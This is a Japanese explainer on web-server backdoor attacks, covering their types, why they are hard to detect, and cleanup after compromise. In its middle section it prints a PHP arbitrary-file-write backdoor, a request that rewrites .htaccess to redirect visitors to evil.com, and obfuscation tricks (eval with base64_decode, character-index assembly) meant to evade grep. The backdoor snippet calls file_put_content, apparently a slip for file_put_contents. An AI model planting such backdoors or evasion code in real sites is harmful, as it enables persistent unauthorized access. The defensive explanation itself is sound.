バックドア攻撃とは、正規の認証やアクセス制御を回避して、攻撃者がシステムに不正にアクセスできるようにする「裏口(バックドア)」を設置または利用する攻撃手法のこと。

バックドアを設置する目的としては以下のようなものになる。

  • 再侵入を容易にする(持続的な不正アクセス)
  • 権限昇格や情報窃取、マルウェアの再設置
  • 他の攻撃(DDoSやスパム)拠点として利用

また、以下のような種類が多く見られる。

バックドアの種類説明
WebシェルPHPなどで書かれたスクリプトをWebサーバーにアップロードし、ブラウザからコマンドを実行可能にする。例:c99.phpなど。
隠し管理画面通常の管理画面とは異なる、秘密のURLにある管理用インターフェース。
不正なユーザー追加攻撃者が管理者権限のユーザーを追加し、いつでもログインできるようにする。
設定ファイルの改ざん.htaccessやWordPressのwp-config.phpなどに悪意あるコードを埋め込み、特定のアクセスを許可。
バックドア関数の挿入eval()やbase64_decode()などを使い、動的に外部コードを実行する処理を仕込む。

バックドア攻撃はファイル名やパスがランダム化されていて気づきにくく、通常のファイルに偽装(WordPressのfunctions.phpなど)したり、暗号化(base64など)されたコードで中身が見えにくいなど、具体的になにかの障害が発生するまでは検知にしにくい。

具体的な攻撃方法としては、以下のようなファイルを設置する。

$path = __DIR__ . '/' . $_POST[ 'path' ];
$content = $_POST[ 'content' ];
file_put_content( $path, $content );

その後、次のようなリクエストを送ることで任意のファイルをサーバー上に設置することでサーバー内のファイルを自由に書き換えていく。

POST https://example.com/path/to/backdoor.php
path : /path/to/.htaccess
content : RewriteEngine On
   RewriteRule .* https://evil.com [R=301]

glob()関数ですべてのディレクトリに対して再帰的に実行したり、バックドアファイル自体を作成したりする攻撃も見られる。

多くの場合、サーバーに不審なアクセスログを残さないようにするため、GETリクエストのみで完結できるようパスや改ざん内容をハードコーディングし、Base64エンコードしたうえでeval()関数を掛けて実行することで攻撃内容をわかりにくくしている。

eval(base64_decode('~'));

grepでの発見を防ぐために以下のような工夫をしている場合も多い。

$w = '0123456789abcdefghijklmnopqrstuvwxyz_';
$x = $w[14].$w[31].$w[10].$w[21]; // eval;
$y = $w[11].$w[10].$w[28].$w[14].$w[6].$w[4].$w[36].$w[13].$w[14].$w[12].$w[24].$w[13].$w[14]; // base64_decode
$x($y('~'));

これをさらにBase64エンコードするなど何重にも難読化されていたり、外部サーバーに改ざん内容を持たせたりなど、内容を隠蔽していることもある。

もしバックドア攻撃を受けた場合、対応方法としてはまず攻撃されたWebサイトのアクセスを不可にしたうえで、アップロード・改ざんされたファイルをすべて削除する。
多くの場合、タイムスタンプで判別可能だが、タイムスタンプは改ざん可能なため、なるべくmasterとの差分を比較するのがよい。
もし差分がない場合は、ウイルスバスターなどのソフトウェアを使用して、悪意あるファイルを検出してもらう。
もしデータベースやファイルといったWebサイトの構成要素のロールバックが可能な場合は実行する。

その後、原因となった脆弱性を修正し、ソフトウェアのアップデートやパスワード情報の変更などを実施する。

参考:https://zenn.dev/ad5/articles/975eea1ad44317